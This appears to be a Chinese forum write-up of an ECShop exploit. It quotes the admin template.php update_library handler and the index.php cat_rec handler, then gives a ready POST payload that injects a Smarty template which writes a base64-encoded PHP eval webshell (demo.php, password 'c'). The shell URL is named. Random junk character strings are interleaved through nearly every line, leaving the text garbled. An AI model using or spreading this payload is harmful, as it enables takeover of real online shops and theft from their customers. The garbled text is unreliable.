首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
9 g( t. y% M. d
- x! u! S. W1 G而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
; f9 n/ T4 J, L但是ecshop似乎不支持{php}{/php}这个标签来执行php代码! f1 ~* u* O( A7 k L2 i8 ^# B
admin/template.php
% ~1 _" k1 c* w6 r1 r- u1 _) b: ^7 |7 W% o1 o8 }, T
1 if ($_REQUEST['act'] == 'update_library')
o- J! z% u/ C& p7 f! K6 g+ F0 a) q/ b: g, W
2
) i, V8 Y+ t2 M% A5 C8 a/ U- T# n2 R
3 {
! Q+ ^; Y9 O p% a
4 F3 o+ b4 W6 J) Z4 check_authz_json('library_manage'); " o9 j1 X& ^ g7 @3 ~# O
/ u' A" @6 D* c) K* [; @: o5
# I# y- ^+ k- A: r6 S6 r
H# D9 j$ o% n5 {9 z6 $html = stripslashes(json_str_iconv($_POST['html'])); + x' Y1 `4 A% _* M4 I
# L1 C1 z/ b4 D
7
! \) g$ n: h# H4 c
2 w6 A) t. r+ `$ A# t" c9 ~8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ) W, v% c8 G" Y2 ]! Q1 i' y
; j. Z+ p" M0 d) E0 G, q# \9
S; r' ]( J; A% d6 a. h8 B: z7 a: \, S8 _+ r. i! i
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
C/ [, c& t7 ~: ~+ R9 W4 D7 B# w& [
0 r! g( Q7 z5 R" S: F! [* U11 : u; A q( D/ [/ N) Y5 T
% A: K. C7 o# B/ y* |* Z5 b: w12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
2 {9 v# k t" o% b( R& W
3 \. d# I+ n. n2 Y* D! B: k8 }13 - m+ C! Z5 w. u x) h! Y
4 z" j5 v- I. S9 k1 \/ }. X14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
' N% m! Y" [$ W6 |, A7 r F% f/ R% S
15 {
: p+ j4 w" s S. y! G, F+ l- Z: ]% b2 e6 K) P6 x0 h H7 d
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
' u6 |+ [/ b" L! k6 ^6 K/ B/ U+ ?, U( x( L
17 make_json_result('', $_LANG['update_lib_success']);
! u9 l+ ^5 C# u) n& i
W# m! c" P: d5 z) ]# i18 } ' N6 u1 [5 f$ Z5 d; m
6 r* O* @8 I5 ?" E1 y19 else ( L+ J4 `7 x7 F: L: ?1 M
6 E4 `( u+ j6 c) q9 m; T' x
20 {
; V( [) c [4 v% `. [6 o
6 C& Y+ P9 G6 i6 Q21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
; @4 w# Y4 j' t) k1 q; y4 ]8 E2 q$ c5 Q
22 } - Y1 h( C+ [- j5 q. l0 F- k
' ?6 }9 N( G6 H$ C! _
23 } " J& b* B; m- I
; _) J# }- n: q2 N& M那么找个比较方便调用了模板的文件
, { L( H# Z" ~index.php
6 y/ T, f: ?; X6 {' j8 N
" C9 g) c7 `& j( m' m$ J+ c9 N; N9 {1 if ($act == 'cat_rec') 3 p0 \8 a) Q+ x: A. e, F) ~
8 s" V' C& o, J9 z5 J; V2 4 v/ P, \9 L9 J2 y! X- P
3 k+ J9 T+ @: V3 {
; D) I5 r0 S& p) B2 o8 w0 W( @( `
8 `( C/ I2 m& F2 W. W4 : [8 v$ l4 S8 r
' v6 j9 y) H: t# c- O' d. H- l
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
$ Y$ R/ c$ H) m! r- s9 v ?2 D, Q/ t
6
. c9 N% z+ ^5 m" b
4 }1 Q9 O8 G5 L# @1 o# b, c5 {7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8 |) o- X' E2 |$ Y5 I; s
- Q* R) X7 z8 h, y/ F/ f {* ?8 + i1 S/ S- V0 H* J, i+ i. o( l0 m
* ~; q6 \( E" `8 S9 V" x
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; . t2 u) E) b5 T7 Y& |4 u0 x; x
& p! V: ]2 _6 O; Q5 h
10 % U2 K+ b3 V. x6 m8 W7 O* }
: k( @" f$ M. x1 y6 f3 E+ r) Y3 k
11 include_once('includes/cls_json.php'); . O! S. D6 O& h! O( t" ?
. x3 r' y) F( e+ G/ K$ |% F1 j( Q' U
12
% }" K& i3 u: k' [! l! e) H
/ f$ r' l F5 ~$ ]' h5 ]( L13 $json = new JSON; 0 R1 \% o+ W0 G2 S/ O; J* \
7 M; z8 i0 U u% M* B$ I
14
- N" J0 S' r: Z3 D/ E: _; K9 ?$ _2 D$ E
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
% @( R- \9 W, Q! u% o* }, C
' X, f( o- S. |16
9 h& P/ B$ m/ H, b1 e! w4 }' H
; P- E# F/ n9 T B0 ?17 $children = get_children($cat_id); ) @3 r& K$ p R# M7 p, b
8 b$ Z, v- P+ y1 Q2 r$ |18 % n# ?" f2 X5 ~7 S+ a( r5 k
8 o- `: r% `! I
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
& }& n& n' F- H+ f- Y
$ E0 M$ N4 i/ V1 U20 7 C) y7 y, j4 U; ~2 Z# I. t
' _, o4 N# @7 E/ Y
21 $smarty->assign('cat_rec_sign', 1);
6 D% x2 O' Q7 m6 d7 Y* U, o/ W' A# w3 [) S
22 " `4 \. P0 _/ n1 y
- P3 \* |) _4 e2 g23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ) B2 W7 c T: W f
# X) t( Q A2 g, K) S a# h' }& J24 / n: d1 R( u8 [8 w5 j5 K% h
) U/ s m$ U4 g$ [6 g5 ^1 l& @25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
0 h' L- h5 v. S7 N% B9 ^
3 p0 u' J' H( E2 D8 ^2 b: K' A26
, q: n; ~+ G- A$ i2 G
* r+ v2 X5 p4 y% N5 s27 echo $rec_array[$rec_type];
: _. r! P0 K$ J
0 ?( L% R- ]0 d2 Q28 # [) u/ \1 y$ F% T: F8 U& x
h4 E/ O. {. g9 P1 x4 N$ v$ w29 die($json->encode($result)); . @0 K7 l: X# P5 W' U
4 \: q Y) W( N! s" A+ `
30 $ ` V3 V( W: T+ h" u; N. S
* C. I9 B( N5 Z( o; r
31 }
* D7 q% y; ~& s4 P
3 I7 j. t/ i/ r; ^3 ]1 o那么就有利用方法了
& x x8 D; h$ Z# I( `2 Epost包到http://localhost/ec/admin/template.php?act=update_library
2 `; p, _1 `. Y. Q6 f$ cPost内容:
! n/ a" ]# ?: J: l6 E) D, m
4 b S- o( s* O5 E: k& {. M: i/ q. m3 f' H2 Z$ D5 Z
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
9 O8 _1 g) K* S3 _( o: E+ z$ i% z2 A
然后访问http://localhost/ec/index.php?act=cat_rec
5 a+ d+ V5 X- F0 g% s
3 J0 p' n9 v5 u' _& j- [9 \shel地址:http://localhost/ec/demo.php
2 j+ L/ ^: s" G. O; b密码c6 v. P$ ?$ L9 O" b
+ K! e& t* ] {5 P/ ~
|